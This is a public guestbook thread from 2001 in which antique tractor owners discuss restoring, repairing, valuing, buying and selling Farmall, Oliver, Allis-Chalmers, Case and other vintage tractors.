Ed wrote on Sunday, November 11, 2001 (PST):Mark, the white farmall was a DEALER DEMONSTRATER, pretty rare and I don'know what years they did this but I know of a white "c" in Mo.---- Randy it sounds like your fuel line is plugged, check line, bowl, tank, etc.---- I got my "H" in 1981 in very good "restored" condition, I then built a 3 point hitch and began "farming" a few acres of pumpkins, I converted It to 12 volts and painted it again in in 1988 and took it to many shows, parades and pulls! I even pulled the Anheuser Bush Six-Pack sled! (no I didn't win) Some of the best times of my life were riding ol "HENRY"
Ed wrote on Sunday, November 11, 2001 (PST):I have a 1945 or 46 LA,the orig. manual came with it and at the bottom of the cover is printed "DIR. No. 207-10-45" . I am assuming the 10-45 is the date the manual was printed, any that year fits in with the history of the LA. It was my wifes grand fathersonly tractor and he got it used in the early 50's. I also am acquainted with the orig. owners family and know a person that worked for the orig. owner who used the LA A lot. It wes last used in 1979 and I would go to the farm to hunt ind pour oil down the stack to keep it from siezing hoping that some day it would be mine. Finally, after the roof colapsed on it I convinced the family that it needed a new home. I'm sorry to say that I haven't restored it yet but it is safe and sound now and the tractor shed is gone! I need a set of rear 24" rims and then I will start!!!! I promise!
Ed wrote on Sunday, November 11, 2001 (PST):I have an LA, 1945 OR 46,
Steve Stein wrote on Sunday, November 11, 2001 (PST):Hi I have a 1947 Oliver 60 row crop that I am considering selling, it is in good shape and runs great. Does anyone have any idea what it might be worth. I would greatly appreciate any help anyone could give me thanks, Steve
Ned Planer wrote on Sunday, November 11, 2001 (PST):I need a price on a Massey Harris 44 special row crop gas
Paul wrote on Sunday, November 11, 2001 (PST):My Dad has had a Farmall Super M for as long as I can remember (which is only 18 years). Even when our newer tractors break down, we can always count on the "old M" to go!
Rein Matiisen wrote on Sunday, November 11, 2001 (PST):Has anyone succesfully incorporated a live PTO system into a Farmall M? Would be a usefull little tractor if it had a live PTO . Also to N/a - with respect to a narrow front end, once you have tried to drive a M with a wide front end without power steering compared to a trike setup, you will see why the trike was popular for field work. For haying, which is what I use my M's for, the trike setup is useless as you are always trampling the swaths. Am looking for another wide front end myself and don't have any leads other than to buy an entire tractor. That doesn't work too well for me as I always end up fixing up the parts tractor and still needing the wide front end for the other one.
Kathy wrote on Sunday, November 11, 2001 (PST):Are the original Farmal M's, 6 volt + ground. Built in 1952. Husband seems to think it's a 12 volt. Thank you.
JOHN wrote on Sunday, November 11, 2001 (PST):I have a 1947 70. I have been pulling this tractor,now I am going to start restoring. I need a gasket set for my engine and any manuals I could get. The best I can tell this tractor has 6 forward and only 1 reverse,or thats all I can find. If anyone can help please call 270-242-0906 Kentucky.Thank you and your Oliver 70 looks great.
Jim Stratz wrote on Saturday, November 10, 2001 (PST):I know of a 1938 Challenger (poor condition, but all there) for sale. Used to have a 2-row cultivator, but some brain surgeon sold for junk. Also running 44 gas with off-market loader, wheel weights, tire chains and 4-row cultivator available.
Rick Phillips wrote on Friday, November 09, 2001 (PST):My father has a Farmall M, or MD I cant remember but I have a lot of fond memories doing the hay with it. My father is old now and wants me to get rid of it. It probably needs a little work, but I believe that it is good condition. I would like to sell it for him.
Neil McInnis wrote on Friday, November 09, 2001 (PST):Just purchased an MF 50, could someone tell me what year it is, Thanks.
brettjuckette wrote on Friday, November 09, 2001 (PST):I am 15 and bought a 1952 farmall super C it took me and my dad about a hour to get it runing, after that we did some things that i though we did not need to do, re-gap the valves chang the belts and so on, well now it starts like a charm and i thank him for that. the reason i am righting is when i bought the tractor it was missing the air filter cover (on the bottom)and was woundering whear to find one. i am woundering how much it would cost to get the tractor re-painted any help is thanks in Advances. thanks again.
N/A wrote on Friday, November 09, 2001 (PST):What exactly is "fast hitch" on a tractor?
Chris Kyler wrote on Thursday, November 08, 2001 (PST):I'm looking for a Farmall M.D (super or not), in the Pennsylvania area. I'm just starting the farming trade so can't afford to pay too much. Any help is needed.
Nancy Bradley wrote on Thursday, November 08, 2001 (PST):I have a customer at the public library where I work, he is looking for a wiring diagram for a 560 Farmall Diesel, made in early 1960's. If anyone would contact me to assist me in locating the wiring diagram I would appreciate it. Thanks. My fax and phone number is 417-345-2647. or by e-mail.
Herb Zeutenhorst wrote on Wednesday, November 07, 2001 (PST):Would like to know if anyone has a 1939 F20 with foot brakes and 12 mph roadgear for sale Email price and condition Thank You Herb Prefer in Iowa
Lucas Baskim wrote on Wednesday, November 07, 2001 (PST):I currently own a high crop "A" and am currently placing it for sale. My new property has too many hills and slopes for the top heavy tractor. What is the current value for this machine, condition is very good.
N/a wrote on Wednesday, November 07, 2001 (PST):Why did so many tractors from this era have the narrow front end? How can I find a wide front for a Farmall tractor? Any help is appreciated.
Mark Cross wrote on Wednesday, November 07, 2001 (PST):I have owned a 541 gas model for 21 years. Great tractor. Needs paint and some cosmetic touch up. I would let it go if the $ were enough to get a decent replacement to drag around a 5' bush hog over 10 acres.
Tony wrote on Tuesday, November 06, 2001 (PST):I recently purchased a 1930 Farmall regular that has been in the family since it was new. I'm in the process of restoring it and I cant find the parts needed;carb float, mag, etc. Any help would be greatly appreciated as to where I can find these.
Scott wrote on Tuesday, November 06, 2001 (PST):I have a friend who has a who still uses an Oliver 70RC for daily chores, but it desparately needs a new rim. The old rim was damaged by a rock and has partially separtated due to rust. Does anyone out there know who/where might sell a rim for an Oliver 70RC close to the Central, PA area?? Any info you have would be appreciated. Thanks.
Robert S. wrote on Monday, November 05, 2001 (PST):I have a 1945 SC that I bought at an auction a year ago. I gave about $100.00 for it as it was in bad shape. I am slowly working on it. I ordered manuels from Jensales. Their web site is; www.jensales.com Another good source of advice for me has been my local tractor club. I have been purchasing my flambeau Red paint from a local Tractor Supply Company store (TSC) and have found it to be the right color and of good quality. It comes in spray cans which are ideal for me as I am working at a slow pace.
Adam Lee wrote on Monday, November 05, 2001 (PST):I own a ZAU this is a later model ZB the steering wheel and the seat are up higher. By the way what horsepower is a 1950 ZAU
Clark Horn wrote on Sunday, November 04, 2001 (PST):Does anyone know what an F-20 weighs?
bill wrote on Sunday, November 04, 2001 (PST):the duals on the i6 version of this tractor had a habit of tearing out the splines and ruining the axles and the hubs. All the hubs and axle in a hundred miles of home were in the same shape when the machine had duals.
Darcy Kada wrote on Wednesday, October 24, 2001 (PDT):I have a friend that has restored a farmall cub and he ordered the decals for it and the guy that sent him the decals say that they are the right ones for the cub but they are like the one in your cub picture (the cub is in the same line as the farmall not like some i have seen with the cub half way down the side ) could some one tell me the right ones the cub we are working on is a 1949 the guy that sold us the decals say that they changed the decals in the mid year of 49 so which ones are correct thanks hope you can help us
Joe Boldt wrote on Wednesday, October 24, 2001 (PDT):looking for a dual fuel manifold for a 37 f20 preferably in A1 shape.
John Kaempfer aka ironman wrote on Tuesday, October 23, 2001 (PDT):I believe i have a vaiwa tractor. It has a traverse front spring between the front wheels, no power takeoff,no hydrolics the rear wheels are 16"with military type tires. It is low to the ground and short looks like it was used for for a tow tug. If any one is intrested in it will sell or trade, contact me by phone after 6 pm or e-mail
John Kaempfer wrote on Tuesday, October 23, 2001 (PDT):I believe i have a vaiwa tractor. It has a traverse front spring between the front wheels, no power takeoff,no hydrolics the rear wheels are 16"with military type tires. It is low to the ground and short looks like it was used for for a tow tug. If any one is intrested in it will sell or trade, contact me by phone after 6 pm or e-mail
Darren Elliott wrote on Monday, October 22, 2001 (PDT):I love our '52(??) 8n. i like it so much i made a webpage about it www.geocities.com/dman4ski/index.html
Austin wrote on Monday, October 22, 2001 (PDT):I have a 1949 MT serial # 10550 with a #5 sickle mower, and JD wagon. I am looking for a 1951 A to restore and pull with, I am from Texas and would like it to be in Tx or some state close by.
Mable Houzter wrote on Monday, October 22, 2001 (PDT):My husband died 6 months ago and he left a cockshutt 50 & Silver King tractor. I'm moving away from the farm and willing to sell. Take Offers
Zeke Yoder of Penn wrote on Monday, October 22, 2001 (PDT):To all interested in the FREE tractor, I'm deathly sorry but I've had an offer on it, a man offered me 50.00 dollars. If any body could match that or go higher then that then friends it's yours. I'm ever so sorry, I'll keep it until 11/14/01. I'm once again sorry
The Super "M" wrote on Monday, October 22, 2001 (PDT):To Gary H; The Cub was a small tractor used for light farm/yard work. The A was a little larger and had the cultivision seating.
Mike McHale wrote on Sunday, October 21, 2001 (PDT):I own 44, 4 cylinder, Row Crop, gas, no identification plate. I need a picture or drawing of a 3 point hitch setup to compare to my home made unit. I also need a rebuilt clutch disk for the normal pressure plate spring type, not the over center one. Does anyone know where I can get a hydraulic pressure regulator assembly, found in the top of the transmission cover. I guess I will need the vanes for the hydraulic pressure pump. Thanks, Mike
Gary H. wrote on Sunday, October 21, 2001 (PDT):I've got a couple questions for you folks. 1st. can someone explain the difference between a cub, an A, a super A and a 140, they all seem to have the same appearence with slight differences. I'm a novice in the field and need some help. Do the implements for these interchange? 2nd Horsepower-- What is the H.P. of these?
Rein Matiisen wrote on Sunday, October 21, 2001 (PDT):To N/a re; Orchard fenders. As far as I know IHC used the W6 and W4 series for their orchard model tractors, the Farmalls, being row-crop tractors, were a bunch higher and not that suitable for orchard work. I bet you could find a set of orchard fenders for a W6 and modify them for a M, though, if that is what you're up to.
Richard Spencer wrote on Saturday, October 20, 2001 (PDT):My grandfather imported a TD35 into the UK in 1938. It was used in his agricultural contracting business and driven by my father untill 1954. I can remember riding on it as a small child, It was considered to be an axcellent tractor and a better puller than a TD9. I just wish I still had it.
robert wrote on Friday, October 19, 2001 (PDT):I had problems with my wd45 getting stuck into gear, and was getting tired of having to pull the shifter to get it back into the proper setting. I accidently discovered a fix that will prevent it from getting stuck again. There is a slight tradeoff however which was not a problem for me. if you would like instructions e-mail me..
Z.Yoder wrote on Friday, October 19, 2001 (PDT):Free tractor still available, see previous message from October 18th, 2001 for details...I'll be responding to messages left in a couple weeks... thanks for waiting...
Z.Yoder wrote on Friday, October 19, 2001 (PDT):To R.Sheehan, I've had many responses. I'll get a hold of the people after 11/14/01. Thank You For Your Message... I'll begin phone calls after the above date. Z.Yoder
JimBroughton wrote on Thursday, October 18, 2001 (PDT):To; Joe Stroud....Yep, Joe it's a 1947, Farmall Cub, hence the "F"...you can get a repair/overhaul shop manual from Intertec, P.O. Box 12901..Overland Park,Kansas,66282-2901... mine cost $20.00 but they might have gone up since then...you probably need their IH-8 book (Cubs prior to1957) Good luck !!....Jim
troy stanley wrote on Thursday, October 18, 2001 (PDT):ineed a gas tank for 1950 case vao
Wayne wrote on Thursday, October 18, 2001 (PDT):Looking for engine diagrams for w-4
Zeke Yoder wrote on Thursday, October 18, 2001 (PDT):ATTENTION- I have a AC"B" on my property that must be removed by 12/14/01, it starts & runs but needs paint and a little work. I'm too old to do such things. it's here for the taking- FREE... I'll check back here from time to time Please leave a message, this machine is free for the taking in South central Pennsylvania..
Ol' Hayseed wrote on Thursday, October 18, 2001 (PDT):For Sale; Minn. Moline, LPTO, 3p/h, New Tires, Tuned Engine. New Paint & Decals Also! Farm Sold, Must sell remaining machinery !! Must Sell $975.00 Or Best Offer Must be removed from property by 11/01/01 Farm in Pennsylvania! I'll check back in 1 wk leave message!!
BILL HARGRAVE wrote on Wednesday, October 17, 2001 (PDT):I have a model G that needs to be restored.Is there anyone in Texas that does that?
Clarence Meinholdt wrote on Tuesday, October 16, 2001 (PDT):I have a Oliver 60 row crop. It is a l948 model. I enjoy using it.It is in great shape and it is a powerful tractor.
Clarence Meinholdt wrote on Tuesday, October 16, 2001 (PDT):I have a Farmall B. Where can I look on it to determine the year model.It is in very good shape and runs good. I enjoy using it. I have owned it for about 6 years.
Matt from Pennsylvania wrote on Tuesday, October 16, 2001 (PDT):My pap sold his farmall super M for $1,700.00. It had wide front, 3p/h, and hydro. He sold it with bush hog, scraper blade, and tire chains. How much was this machine worth ( I know way more than 1700) I loved that tractor! it was a true work horse. He's sorry he sold it, real sorry
Joe Stroud wrote on Monday, October 15, 2001 (PDT):I have a Farmall Cub which I think is a 1947 model. The data plate info is; Model - F Cub; Serial Number - 89354. I am thinking of doing an engine overhaul and need additional info as to the exact year model and F model on this tractor. If anyone could provide info I would greatly appreciate it. Thanks
RITA KRAGULSKI wrote on Monday, October 15, 2001 (PDT):I'M LOOKING FOR A JOHN DEERE 420 TO RESTORE.
N/a wrote on Monday, October 15, 2001 (PDT):Did any farmall tractor come with the orchard fenders
Jim Broughton wrote on Sunday, October 14, 2001 (PDT): To Harley;....Your Cub is a late 1963 model, and yes, they had a "squared" front-end style then. Best of luck with it. Jim
stanley blackwell wrote on Sunday, October 14, 2001 (PDT):iI HAVE A D SERES CASE OR DO ANI NEED A WATER PUMP,HAVING A HARD TIME FINDING ONE.WILL A SC WORK? SOMEONE HELP ME
Joe wrote on Sunday, October 14, 2001 (PDT):I just bought a Super A which has a very loose front end. The play appears to be in the steering box. Is there an adjustment? Or do I look for new gears? Thanks
Danielle Koski wrote on Saturday, October 13, 2001 (PDT):I have seen this tractor before-well because it sits in my backyard. You see my dad collects and restores antique tractors, and this doesn't mean John Deere's. He collects and restores the rare ones-the ones most people would forget about. Like I said, he owns a Titan like this, or one similar to this. I'm not exactly sure. All I know is it is LOUD! Anyways, if any of you are ever in Oakley, Michigan (It's around Saginaw) on the third weekend in August, stop the Mid-Michigan Old Gas Tractor Show and you can see some of the rare ones (and some that aren't so rare) that my dad has collected. The Mid-Michigan Old Gas Tractor Association also has a website, but I'm not sure what the address is. You can more info about the show, and though my dad is anti-computer, his associates who know how to use the computer will probably be helpful in answering a lot of your questions.
Harley Fsddis wrote on Friday, October 12, 2001 (PDT):I have cub with a serial # 223276J. It dosen't look like the others I have seen' the hood comes strate out the grill is ressesed and is stamped out like a diamond plate. The id. plate has Farmall International Cub
Bob wrote on Friday, October 12, 2001 (PDT):I have an H, S.S. no. 113586 I think it is a 1942. It has a magneto on it but is not getting spark. I was wondering if there is a way to test if the mag is bad? What else could be causing no spark?
B.J. Kaufman wrote on Friday, October 12, 2001 (PDT):I have a B.F. Avery Model A that belonged to my father. He used it primarily for moving snow, but it has not been used since he died four years ago. Does anyone have any idea as to what this tractor may be worth?
Robert Wolf wrote on Friday, October 12, 2001 (PDT):Am in the process of purchasing a 1949 AC model G will be needing an exhaout manifold and muffler, starter & maybe more...can anybody help?
Tom Hoffman wrote on Friday, October 12, 2001 (PDT):I'm looking for a hyd. clyinder for the rear cultivator on my G.
Dick Chatterton wrote on Thursday, October 11, 2001 (PDT):How can I determine the value of my MTA? It is like new, with power steering, wide front end, fenders, and a 2point hitch. The tires are like new as is the paint. It runs like new and everything works.
Allen wrote on Thursday, October 11, 2001 (PDT):1950 Farmall Cub for sale. Runs Good. No equipment. Both owner's and service manuals are included. 1,500 O.B.O. I'm located in Central N.C. Thank you.
Lawson Thomas wrote on Wednesday, October 10, 2001 (PDT):We have a 1942 Farmall M and i was with a narrow front and we are in the process of restoring it.......again, however a few weeks ago i for the first time in my life saw a M with a 4 wheel drive unit on a wide front. The unit was powered by the belt pully. I was wondering if any one out there had ever seen or heard about this. Living in a rural aria in western PA the you see a lot of old tractors and Farmalls are particurally popular, most are still used in farming but i have never seen anything like the 4 wheel drive M any info would be appriceated Thanks.
KEITH ROZEBOOM wrote on Wednesday, October 10, 2001 (PDT):Nice tractor. I beleive sean is right, these type of tractors were intorduced farmer to the tracto and to slowly replace horse drawen equipment. I've seen a very similar one not to long ago. It was a diffenent make but also steered with reins. I beleive it was called a "PowerHorse" but I'm not sure who made it. If anyone knows who makes it please let me know.
Gene wrote on Tuesday, October 09, 2001 (PDT):I have a 55 TO35 #S158737. It has a single stage clutch like on the "Special" But the console has the steering wheel and all the instruments (tack,oil, amp,temp)like described on the "Deluxe" Which one is it? Also the hood has places for four metal nameplates. One on the nose, two "Ferguson-35" to each side and one on the right side that I don't know what it is. Can you help? After peeling off many different layers of color paint. The last colors were light gray(like Ford gray from "TSC") and dark green on the chassis under the pedals and hyd. lift arms.
RCW wrote on Monday, October 08, 2001 (PDT):The AC line was the 'average' or very modest farmers tractor; it served the purpose very well for working-small farmer in the 1930's to the 1960'! A wonder era in Agriculture!
Dave wrote on Sunday, October 07, 2001 (PDT):I have a 48 Oliver 60. It runs great.I rebuilt it about 2 months ago becaues it had a noise somewhere.I put all new bearings , But still is knocking some where. I pulled it 3 times. Got two 2nds and a 4th. I need to get more weight in the front end.I hate looking up while I'am pulling. Your tractor looks great.
E.SHAWN FREED wrote on Saturday, October 06, 2001 (PDT):DOES ANYONE HAVE A PHOTO OF THE SUPPOSED BRACKET THAT HOLDS THE P.T.O.REVERSER ADAPTER TO THE BACK OF THE CUB,I HAVE THE REVERSER,I JUST NEED THE BRACKET.PLEASE LET ME KNOW IF YOU HAVE ITHER THE PART OR A PIC.
RandyM wrote on Friday, October 05, 2001 (PDT):I'm restoring a 1937 Farmall F 20 and needing a intake/exhaust,a oil filter housing and magnito. Does anyone have these or can help me.
Richard Paquette wrote on Thursday, October 04, 2001 (PDT):I bought a Super 55 gaz model 4 years ago and i use it to pull out trees from the forest. Last week i bought a log splitter (hydraulic double action cylinder). My problem is; i really dont know how to connect the 2 hooses from the log splitter to the original hydraulic external control body valve (brand name Vickers part number from the parts book 1ES-2007-A. For who should be interested, i have the original parts book in english and owner book in french. I appreciate your help and long life to this forum.
Blake Long wrote on Thursday, October 04, 2001 (PDT):Hi, Doug. My Father still owns two Farmall Super M tractors, and they both still run. He isn't farming anymore, but I'm sure he will keep them both for the rest of his life. I don't know what kind of shape your M is in, but I think these tractors have a very tough engine. My Grandfater bought both the Super M's of my Dad's in 1953, new. One only my Grandfather drove until he died in 1975, and that tractor has never had the head off it, and the other one was used by the hired men, all the time. Its been overhauled at least once. When I was in High School, I took the more used one to school for a shop project and learned a lot about it. Like most people never change the transmission/axle gear oil. I would highly reccomend it. I think it holds 13 gallons to the check plug. Anyway, due to clutch problems one time, and a distributor problem once, I know the engine has been siezed at least twice and loosened up, and would you belive it runs fine afterwards. Try checking the "wishbone" on your front end, it could be worn out of adjustment and you may need to shim the front axle pin where it swivels. Ours didn't always get the attention they needed on the farm at that time, so Dad said to drive slower on ours. Well, I hope you enjoy your M. They are a solid tractor. I changed ours over to 12V in the 80s and its easy to do, just change your coil is all I did, and add a GM alternator and 12v battery. Then you can run 12v lights if you want to. Well, take care of the old M.
Shawn Miles wrote on Thursday, October 04, 2001 (PDT):I am looking for a Farmall MD(diesel) in fair conditionn ie;most of the hood/fuel tank/radiator covers. motor with all parts running or not.
Sue Ivey wrote on Thursday, October 04, 2001 (PDT):Does anyone have any info about a LU-5768. What year is it. Any pictures of what it should look like? My husband purchased one and it needs some work.
Mike D. wrote on Thursday, October 04, 2001 (PDT):I am looking for a service manual for a 1947 pony. Any info on this would be greatly appreciated. I am hearing a noise somewhere under the seat. When I engage the pto the noise seems to disapear. It doesn't matter if the clutch is engaged or not. there is a new clutch and throw out bearing. can any body give me some insight on this "noise"
Jeff Kendall wrote on Tuesday, October 02, 2001 (PDT):I have a 1936 F-20 and need a carburator kit. Live in Gainesville Tx. Would appreciate information on where to get other parts also.
dennis wrote on Monday, October 01, 2001 (PDT):dad found 39 B cultivison pneumatic lift 2 plow in a barn in NJ been their since 41 runs good needs repainting .now have it in western NC looking for painter then ready for show
David Copley wrote on Saturday, September 29, 2001 (PDT):The gas tank on our B has rust on the inside. I have tryed to clean it out several ways but I still have problems getting it clean enough to avoid problems. Anyone have any good ideas? If not, I'd like to buy a gas tank that's in good shape. Please let me know.
David Copley wrote on Saturday, September 29, 2001 (PDT):The gas tank on our B has rust on the inside. I have tryed to clean it out several ways but I still have problems getting it clean enough to avoid problems. Anyone have any good ideas? If not, I'd like to buy a gas tank that's in good shape. Please let me know.
Colin Sibley wrote on Friday, September 28, 2001 (PDT):I own a 1944 Model L. I have restored it and it is in great working condition. I am looking for any implements that match, such as plow, mower or other. I would be interested in finding out if anyone else in Nova Scotia owns an L.
Jerry Dahlgard wrote on Thursday, September 27, 2001 (PDT):Need set of rear rims for a 1947 Cub.
Jason Hite wrote on Wednesday, September 26, 2001 (PDT):If anyone has any questions on the oliver standard 70 email me. Here on the farm we have a 1937 standard 70 that we still use. Bought new in 1937 by my great, great grandfather it has pased down through four hard working generations. This tractor is a power house at 70 horsepower. its part of are A team line here at the farm;Its paired with some of the best trctors ever built for the smaller acerage famrer. These tractors are the oliver of course and a 1954 aliss chalmers WD. A 1942 farmall "A". and the baby the 1954 Cub. These are all in working condition and are still used to farm with along with our old haying equipment
Jason Hite wrote on Wednesday, September 26, 2001 (PDT):If anyone has any questions on the oliver standard 70 email me. Here on the farm we have a 1937 standard 70 that we still use. Bought new in 1937 by my great, great grandfather it has pased down through four hard working generations. This tractor is a power house at 70 horsepower. its part of are A team line here at the farm;Its paired with some of the best trctors ever built for the smaller acerage famrer. These tractors are the oliver of course and a 1954 aliss chalmers WD. A 1942 farmall "A". and the baby the 1954 Cub. These are all in working condition and are still used to farm with along with our old haying equipment
JimBroughton wrote on Tuesday, September 25, 2001 (PDT):Tom; Your Cub was mfg. in 1957,late in the year, so it was probably called a 1958 model.
Tom Anderson wrote on Tuesday, September 25, 2001 (PDT):I Have a Farmall Cub with this serial Number #200446J If you could please tell me what year this tractor would be I would greatly appreciate it.Please e-mail me as soon as possible. Thank -you Tom Anderson
Mike Jard wrote on Monday, September 24, 2001 (PDT):I want to buy a "G" with a belly mower. Is there sill one out there for sale. Let me know. Thanks,Mike
DR wrote on Monday, September 24, 2001 (PDT):I ,own a 77gas row crop,wanted it bad, my dad farmed with one. I am looking for a 99 that needs alot of work, they meet my billfold better
M. Urelius wrote on Sunday, September 23, 2001 (PDT):Hello, i currently own 2 30's one is a farmcrest. I bought the farmcrest for $800 at a sale about 6 years ago in Lohrville IA. The other was given to my dad from his uncle for restoring a farmall super m, he gave it to me since i already had one. The farmcrest was repainted about 5 years ago but i still havent found decals for it. If you know where i might get them please let me know. It runs and looks like new. I use it to pull wagons in from the field in the fall and take it to plowing nearby plowing festivals a few times a year. I usually pull a 3 bottom John Deere w/ 14 inch bottoms in 3rd Low. I have 2 100pound weights on each wheel and put 4 IH suitcase weights on the drawbar when plowing. In packed ground it tends to run out of power have to shift down a gear. Does anyone know how many bottoms this tractor was designed to pull? Also ive had problems w/ the steering, it is quite hard to steer and the front wheels wobble a tiny bit at higher speeds. Has anyone else had this problem? The model 30 seems to have a lot of power for its size, if i remember right mine has 32hp at the pto last time i had it on the dyno. They seem to be a little light though, mine was helpless untill i added the wheel weights, which seem hard to find.
Bernard wrote on Saturday, September 22, 2001 (PDT):Re; Virgil Bremer You are correct. Allis did make d21 w/ fwa however didn't mass produce them. They worked based on hydraulics to pull the front end. Gilbert Vust, a AC collector, buyer, seller, all around AC fanatic has in his possesion i believe 2 or 3. U can contact him by looking in a phone book of Portage La Prairie, Manitoba, Canada. U can also ask him about Rally of the Orange in 2004.
Ryan wrote on Saturday, September 22, 2001 (PDT):My Grandfather has a 1954 W4. Runs great, needs some paint and there is a couple of dents, but otherwise just as new. We use it just as hard as when he first bought it. It rakes, pulls loads of hay (with a good wagon we can get 220-230 square bales on one load) over large hills quite well for it's condition.
Lynn Smith wrote on Saturday, September 22, 2001 (PDT):I bought a 1955 Super 55 diesel in May of 2000, worked on it all of last year and this year to get it in great shape. It had new paint, and all of the broken parts were replaced with new old stock or good used parts. I had to sell it and my Super 88 diesel to put a down payment on a house and set of barns that I always wanted. I feel like my right arm's been cut off now without my Olivers. Anyone know where I can buy some more like these to fix up again? That's half the fun of it!
Roy C. Wolf wrote on Thursday, September 20, 2001 (PDT):Wonderful old tractor; the "M"; however, when it first came out in the 1939, I sure wanted Dad to buy one; but, we kept using the old 15-30 and a Farmall.
CSherman wrote on Wednesday, September 19, 2001 (PDT):My daddy and I have a 53' Super M that we use to pull a hay rake and a tedder as well as a grain auger. It also pulls a 300 bushel gravity wagon on flat ground with no problems. We have a 68' 856 with a loader that does all of our mowing,baleing,bushogging, and loader work. Our 73' 1466 is a real workhorse also. It gets alot of heavy work and pulls a 30 ft. grain drill as well as a 450 bushel grain cart, but it is not so big that it can't do smaller work such as spreading fertilizer etc. All three are excellant and powerful tractors that were built when IH was the king of the tractor world. I am glad to see CASE IH finally trying to get back some of the tractor market, but International Harvester tractors will always be THE BEST EVER BUILT.
Bruce wrote on Wednesday, September 19, 2001 (PDT):I have a VA model CASE with the serial #VA5454511 can anyone help me with the year, etc.
Rick Hicks wrote on Tuesday, September 18, 2001 (PDT):I just inheirited a case that looks indentical to this VA1 but my father swears its a '36 is that a mistake. If so how can you identifiy the year and model?
Scott Dias wrote on Monday, September 17, 2001 (PDT):Have come across two Case tractors. Both are complete and appear to have been running when parked. S/N#'s are 5220488DO & 5501298DV. Figured out there year and that the are orchard and vineyard models. Can any one tell me production numbers and if there is any interest.
Mel Wofford wrote on Monday, September 17, 2001 (PDT):This note is just in addition to the one above. I am experiencing some difficulties with my e-mail. The address of this note should work. BUT, my phone number is 541-744-3848 (Pacific Time Zone). Please call me with any information. Thank you!
Michael wrote on Monday, September 17, 2001 (PDT):I have a ferguson FE 35 I think. It has sat for some years and now im getting it going again and i will restore it.
Greg Hatten wrote on Saturday, September 15, 2001 (PDT):I'm looking for a top transmission cover (casting) for a W4. Mine has been damaged so that I am unable to bolt the drawbar hanger into it. Attempts have been made to "fix" it in the past but it is now beyond repair. Does anybody know where I can find this?
Glen wrote on Saturday, September 15, 2001 (PDT):I have for sale two(2) Bmodel AC. One ran two months ago and the other was purchased with the engined seized, but complete. Included are several pcs of equipment. Single furrow plow-5ft belly mount cicle mower-4 ft. rear mouint flail mower- small oliver manual manure spreader(original paint and painted lettering) Poor health is my dissicion to sell all. Looking to sell and replace with Lawn and garden equip. Email if interested. Located near LBL- TN and KY
Colin. wrote on Saturday, September 15, 2001 (PDT):A neighbour, who's not on the net, has a small I.H. garden tractor of about 1960's vintage. It has been 'modified' engine wise, and wants to restore to it's original glory. Would any of you enthusiast's possibly have any information, and or addresses that he may find useful in his quest. We are based in Somerset in the U.K. Thank you all very much.
Brian lill wrote on Friday, September 14, 2001 (PDT):I have a 1948 or 1949 Allis Chalmer wd for sale.im asking $850 the tin is good and runs great. It is used on the augar every fall and draging the yard and pulls a 3 buttom plow with no trouble. it is the best tractor i have ever plowed with.
Jim Broughton wrote on Thursday, September 13, 2001 (PDT):To; Wayne Mazurra...there are 15 cap screws on the "head" of a Cub...face your head so that the water intake is up front...there are three rows of screw holes, one running up the left side' one running up the center and one row up the right side. Start your sequence with the very center hole in the center row #1 #2 is forward of that, next to the water intake ,#3 is just behind #1,to the rear of the head, next #4 is center left, #5 is center right, # 6 is just ahead of $4 on left side,#8 is just ahead of #5 on the right side. #7 is on left side ,just behind # 4...#9 is on the right side, just behind #5..#10 is front left,11 is front center, #12 is front right.. rear left is #13, rear center is #14 and rear right is #15. Torque to 45 ft.Lbs in that sequence, O.K.? See your Ih dealer or any good automotive parts house for plugs..setting is .023 Lots of luck. Jim B.
Michael DeGroot wrote on Thursday, September 13, 2001 (PDT):i have recently bought a 46 or a 47 cub. the only thing it needs are the two lights up front. can any body help me? I would also like to buy a set of cultivators (mid mount) or any thing else that would fit on it. thank you.
Russ Conn wrote on Wednesday, September 12, 2001 (PDT):My dad bought a To-20 in 1950 and I have it now. It still runs great and even though it was used hard through the years, it has only been overhauled once in 1964. In response to Ark's questions, I converted mine to 12v about 10 years ago. I used a 12v Ford car generator, but if you use an alternator, use a small one off a 4 cyl. as a big one will drag the tractor's engine down. I kept the 6v starter and the and the fast spinning starts the tractor so fast that it hasn't burnt out in all these years. I will eventually have to have it rewired to 12v. As far as your coil is concerned, it's ok. You'll have to pick up a ballast resistor at your local parts store. As it is a generic type item, it costs less than $10 usually.
Mel Wofford wrote on Tuesday, September 11, 2001 (PDT):I have a 1953 MH 33 and am searching of the Hitch-All assesmbly (3 pt) for my tractor. I have been told, but not confirmed, the the similar unit of a 44 could possibly work. Does anyone have a unit for sale, know where one is for sale or can anyone verify the fact that the 44 unit would work? If a 44 unit would work I would be interested in it also. Thanks
Jack B. Roarke wrote on Tuesday, September 11, 2001 (PDT):Would to purchase a 42 inch belly mower single blade for my 1950 farmall cub, in Connecticut area.
Ralph E. Fisher wrote on Monday, September 10, 2001 (PDT):I have a 1942 Farmall A with new rubber all around, electric start, recent overhaul, engine and transmission, reworked front end, disc harrow, disc hillers, front and rear cultivators, single moldboard and numerous parts. Excellent running condition. Tractor was used to work a one acre garden for the last 30 years. Located in West Tennessee. Owner just passed away. Let me know if interested. This tractor has been well maintained.
Helena M. wrote on Monday, September 10, 2001 (PDT):I would like to know the weight of a 1949 Farmall Cub tractor. Does anyone know ? Please email with the answer, I need to know. Thank You
Bill Coffman wrote on Sunday, September 09, 2001 (PDT):I am wanting a grill for a 1951 44 Special Massey Harris Do you know where I can get one. Thanks Phone 217=346-2339
Big Bud wrote on Friday, September 07, 2001 (PDT):Does anyone have the original parts manual for a 1950 Farmall M and if so would you be willing to sell it
Barrett Zimmerman wrote on Friday, September 07, 2001 (PDT):I am looking for a starter for a 1951 Massey Harris 44D. I would also be interested in knowing where I can purchase a starter selenoid for this same model.
BIG BUD wrote on Friday, September 07, 2001 (PDT):I need some help, please for my 1950 Farmall M. The big steering shaft that runs from the gear box on top to the bottom where the wheel assembly hooks on. I need to replace the bearing and need the bearing #. I need a speedy reply.
albert smith wrote on Friday, September 07, 2001 (PDT):I NEED A HEAD FOR A 1919 INTERNATIONAL 8/16
JAMES L. SCHWEHR SR wrote on Thursday, September 06, 2001 (PDT): I have 6 Z mm's 1 1939 4 1951 thur 1953 1 1952 ZASI That was use in the military their was only 515 made I have restored it with my granddauthers help. We are going to take it to Rollag MN. 2oo2 with other mm's The one in the picture is a ZB.
Norm Preece wrote on Wednesday, September 05, 2001 (PDT):I'm looking for a JD model, any year to buy. Anyone in the western part of the US want to sell one?
